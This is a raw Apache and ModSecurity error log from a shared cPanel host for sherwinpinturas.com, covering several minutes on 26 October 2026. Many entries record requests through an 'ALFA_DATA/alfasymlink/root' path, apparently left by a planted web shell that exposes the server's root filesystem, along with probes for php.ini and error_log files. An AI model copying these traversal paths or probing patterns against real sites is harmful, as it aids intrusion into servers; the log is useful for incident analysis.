[Mon Oct 26 12:09:50.601096 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.0.41.164:61541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:54.619624 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 44.223.116.149:47785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:07.703287 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 185.191.171.11:23804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:10.638958 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 54.162.69.192:8516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:14.817253 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 3.212.86.97:2246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:22.776229 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 52.4.213.199:35212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:26.773454 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 35.153.86.200:30376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:30.795788 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 98.83.72.38:25962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:34.876565 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 184.73.167.217:4530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:39.249579 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.221.244.28:16101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:42.731003 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 98.82.66.172:6020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:46.919014 2026] [core:error] [pid 3060603:tid 3060603] (13)Permission denied: [client 44.217.255.167:53274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/xen-platform-pci/unbind
[Mon Oct 26 12:10:51.032626 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.221.156.96:34789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:54.867963 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.200.93.170:2974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:10:58.849517 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.205.163.103:59115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:02.957074 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 54.159.18.27:25774] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:10.223534 2026] [security2:error] [pid 3057239:tid 3057239] [client 107.172.76.131:55168] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at97kg0g2jjdjIvFvbzYiQAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:11:10.223582 2026] [security2:error] [pid 3057239:tid 3057239] [client 107.172.76.131:55168] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at97kg0g2jjdjIvFvbzYiQAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:11:10.996904 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.219.81.66:18016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:18.780231 2026] [ssl:error] [pid 3060554:tid 3060554] (70014)End of file found: [client 3.94.157.25:29322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:30.808288 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.54.157.23:24566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:35.136469 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 34.238.45.183:26034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:36.406249 2026] [security2:error] [pid 3057239:tid 3057239] [client 107.172.76.131:55168] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at97qw0g2jjdjIvFvbzYiwAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:11:36.406301 2026] [security2:error] [pid 3057239:tid 3057239] [client 107.172.76.131:55168] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at97qw0g2jjdjIvFvbzYiwAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:11:38.979098 2026] [core:error] [pid 3048989:tid 3048989] (13)Permission denied: [client 3.218.103.254:51123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/unbind
[Mon Oct 26 12:11:47.313648 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 50.19.221.48:53573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:50.917809 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 18.210.58.238:11080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:55.252935 2026] [ssl:error] [pid 3060772:tid 3060772] (70014)End of file found: [client 98.83.72.38:26099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:11:58.868494 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 3.90.73.206:51513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:12:02.882961 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 52.2.191.202:45397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:12:16.316196 2026] [authz_core:error] [pid 3052688:tid 3052688] [client 35.219.242.23:37270] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:12:18.406435 2026] [authz_core:error] [pid 3048989:tid 3048989] [client 35.219.242.23:37288] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 12:12:31.083775 2026] [core:error] [pid 3060603:tid 3060603] (13)Permission denied: [client 18.214.238.178:32517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:09/subsystem/drivers/hpet/uevent
[Mon Oct 26 12:12:35.026619 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 54.235.125.129:8465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:12:43.014049 2026] [security2:error] [pid 3061638:tid 3061638] [client 44.223.193.255:10477] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXSYBUS:00/PNP0A03:00/PNP0A06:02/power/"] [unique_id "at97-zJIPMCwcQxMoNw3kwAAAA4"]
[Mon Oct 26 12:12:43.014097 2026] [security2:error] [pid 3061638:tid 3061638] [client 44.223.193.255:10477] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXSYBUS:00/PNP0A03:00/PNP0A06:02/power/"] [unique_id "at97-zJIPMCwcQxMoNw3kwAAAA4"]
[Mon Oct 26 12:12:47.285332 2026] [ssl:error] [pid 3061639:tid 3061639] (5)Input/output error: [client 54.167.32.123:12110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:12:51.303683 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 3.221.222.168:42051] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:12:55.167742 2026] [core:error] [pid 3060772:tid 3060772] (13)Permission denied: [client 34.202.88.37:46430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/type
[Mon Oct 26 12:12:59.097641 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 52.200.58.199:4019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:03.997992 2026] [ssl:error] [pid 3061638:tid 3061638] (70014)End of file found: [client 52.45.194.165:24902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:08.175381 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 98.82.66.172:32503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:11.551385 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 52.204.89.12:26985] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:15.559912 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 3.94.40.182:45020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:23.622286 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 35.169.240.53:34032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:27.326112 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 54.243.63.52:16673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:31.511285 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 107.20.224.184:40800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:39.973371 2026] [ssl:error] [pid 3062280:tid 3062280] (70014)End of file found: [client 98.84.60.17:8073] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:47.407022 2026] [ssl:error] [pid 3062278:tid 3062278] (70014)End of file found: [client 98.84.184.80:60125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:51.364220 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 3.225.9.97:10625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:55.433515 2026] [ssl:error] [pid 3062280:tid 3062280] (70014)End of file found: [client 34.231.45.47:4761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:13:58.515437 2026] [security2:error] [pid 3060604:tid 3060604] [client 107.172.76.131:55245] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at98OaaLmUXm0vq6-6OVsgAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:13:58.515500 2026] [security2:error] [pid 3060604:tid 3060604] [client 107.172.76.131:55245] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at98OaaLmUXm0vq6-6OVsgAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:13:59.507712 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.156.248.117:44320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:03.766063 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.167.32.123:41480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:06.703607 2026] [core:error] [pid 3062279:tid 3062279] (13)Permission denied: [client 85.208.96.200:17090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/aliases
[Mon Oct 26 12:14:10.555720 2026] [ssl:error] [pid 3062280:tid 3062280] (70014)End of file found: [client 54.83.56.1:46839] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:10.737147 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 85.208.96.194:18316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/alloc_calls
[Mon Oct 26 12:14:11.991854 2026] [core:error] [pid 3057239:tid 3057239] (13)Permission denied: [client 44.218.170.184:56784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/rescan
[Mon Oct 26 12:14:15.628045 2026] [core:error] [pid 3062279:tid 3062279] (13)Permission denied: [client 52.70.209.13:18471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/remove
[Mon Oct 26 12:14:19.588213 2026] [ssl:error] [pid 3062280:tid 3062280] (70014)End of file found: [client 23.21.179.27:38222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:27.578490 2026] [security2:error] [pid 3058833:tid 3058833] [client 35.173.38.202:31601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/input3/subsystem/mouse1/device/device/"] [unique_id "at98Y2_VO1xGdW91KvSskQAAABE"]
[Mon Oct 26 12:14:27.578540 2026] [security2:error] [pid 3058833:tid 3058833] [client 35.173.38.202:31601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/input3/subsystem/mouse1/device/device/"] [unique_id "at98Y2_VO1xGdW91KvSskQAAABE"]
[Mon Oct 26 12:14:39.537203 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 54.147.80.137:32035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:43.625943 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 100.27.153.9:22402] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:51.622003 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 34.206.249.188:64654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:14:59.717671 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.222.190.107:1527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:04.084508 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 100.29.164.178:61070] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:07.809231 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 18.214.138.148:11781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:07.815581 2026] [core:error] [pid 3062871:tid 3062871] (13)Permission denied: [client 185.191.171.9:49622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objects_partial
[Mon Oct 26 12:15:11.913628 2026] [ssl:error] [pid 3062872:tid 3062872] (70014)End of file found: [client 54.147.238.89:16589] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:19.195410 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 109.174.130.6:64146] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:15:19.740653 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 100.29.107.38:50596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:23.623229 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 18.210.58.238:55957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:27.698862 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 3.213.85.234:60911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:47.710523 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 34.225.24.180:31542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/node0/subsystem/uevent
[Mon Oct 26 12:15:51.705502 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 18.213.102.186:1259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:15:54.217555 2026] [authz_core:error] [pid 3039832:tid 3039832] [client 164.92.211.98:51308] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:15:55.981746 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 54.80.185.200:1196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4
[Mon Oct 26 12:16:03.772317 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 54.85.7.119:19164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:16:07.860470 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.194.165.45:23833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:16:12.118724 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 44.223.232.55:47122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/closing_wait
[Mon Oct 26 12:16:16.595655 2026] [core:error] [pid 3061638:tid 3061638] (13)Permission denied: [client 50.19.102.70:22053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/exar_serial/unbind
[Mon Oct 26 12:16:19.811362 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 3.89.176.255:29174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:16:31.964162 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 100.29.160.53:48503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:16:36.128273 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.44.174.136:51294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:16:43.810389 2026] [core:error] [pid 3062871:tid 3062871] (13)Permission denied: [client 3.231.193.38:52756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/closing_wait
[Mon Oct 26 12:16:51.892913 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 35.171.117.160:12843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:07.075590 2026] [ssl:error] [pid 3062872:tid 3062872] (70014)End of file found: [client 85.208.96.203:26372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:07.694802 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 34.195.248.30:5409] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/serio/drivers/atkbd/bind
[Mon Oct 26 12:17:07.695316 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.195.248.30:5409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/serio/drivers/atkbd/bind"] [unique_id "at99A8-doU5lRL_NAI8NdQAAAAE"]
[Mon Oct 26 12:17:07.695350 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.195.248.30:5409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/serio/drivers/atkbd/bind"] [unique_id "at99A8-doU5lRL_NAI8NdQAAAAE"]
[Mon Oct 26 12:17:11.810103 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 35.169.240.53:2131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:15.904647 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 3.220.148.166:22530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/uevent
[Mon Oct 26 12:17:19.952939 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.195.248.30:2994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:27.796252 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.235.158.19:51875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:31.725970 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 35.173.18.61:60994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:35.861804 2026] [ssl:error] [pid 3052342:tid 3052342] (5)Input/output error: [client 98.84.60.17:2226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:17:46.190101 2026] [core:error] [pid 3057239:tid 3057239] (13)Permission denied: [client 85.208.96.200:61660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/slabs
[Mon Oct 26 12:17:48.087336 2026] [ssl:error] [pid 3052342:tid 3052342] (5)Input/output error: [client 44.209.89.189:3356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:05.998069 2026] [security2:error] [pid 3052342:tid 3052342] [client 185.191.171.3:15168] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/test/__pycache__/__init__.cpython-36.opt-2.pyc"] [unique_id "at99PXNsi4cqo2ItOKd-fgAAAAM"]
[Mon Oct 26 12:18:05.998128 2026] [security2:error] [pid 3052342:tid 3052342] [client 185.191.171.3:15168] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/test/__pycache__/__init__.cpython-36.opt-2.pyc"] [unique_id "at99PXNsi4cqo2ItOKd-fgAAAAM"]
[Mon Oct 26 12:18:07.809447 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 35.169.240.53:29661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:11.813329 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.83.56.1:3151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:16.533114 2026] [ssl:error] [pid 3061638:tid 3061638] (70014)End of file found: [client 54.235.172.96:50949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:31.772913 2026] [ssl:error] [pid 3061638:tid 3061638] (70014)End of file found: [client 54.80.73.122:48114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:35.725741 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 34.233.114.237:8713] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:40.138743 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 18.214.138.148:12252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:43.944969 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 184.73.68.20:60897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:47.892755 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 52.202.52.82:54696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:18:51.728640 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 3.215.221.125:57908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:19:04.897741 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 3.94.40.182:61360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:19:07.717433 2026] [ssl:error] [pid 3058833:tid 3058833] (5)Input/output error: [client 54.90.8.255:23080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:19:17.187765 2026] [security2:error] [pid 3061639:tid 3061639] [client 107.172.76.131:55241] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at99eccZCKnQrFhSDdef3wAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:19:17.187882 2026] [security2:error] [pid 3061639:tid 3061639] [client 107.172.76.131:55241] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at99eccZCKnQrFhSDdef3wAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:19:19.887515 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 52.44.148.203:11013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource4
[Mon Oct 26 12:19:52.067751 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 52.73.142.41:42711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:19:55.908065 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 50.17.193.48:42970] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:19:59.968609 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.235.239.240:51919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:03.924622 2026] [core:error] [pid 3052563:tid 3052563] (13)Permission denied: [client 44.207.207.36:10164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/bind
[Mon Oct 26 12:20:07.731250 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 50.19.221.48:15476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:10.097247 2026] [authz_core:error] [pid 3052342:tid 3052342] [client 73.168.176.63:64708] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:20:10.178217 2026] [authz_core:error] [pid 3044299:tid 3044299] [client 73.168.176.63:64856] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:20:15.912190 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 54.164.106.236:2011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/exar_serial/uevent
[Mon Oct 26 12:20:23.785966 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.204.81.148:59002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:27.753902 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 34.194.14.255:45235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:35.706013 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.54.157.23:49302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:39.907837 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 3.94.40.182:50632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:44.035086 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.227.156.153:64399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:47.126884 2026] [authz_core:error] [pid 3057476:tid 3057476] [client 71.6.146.185:44748] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
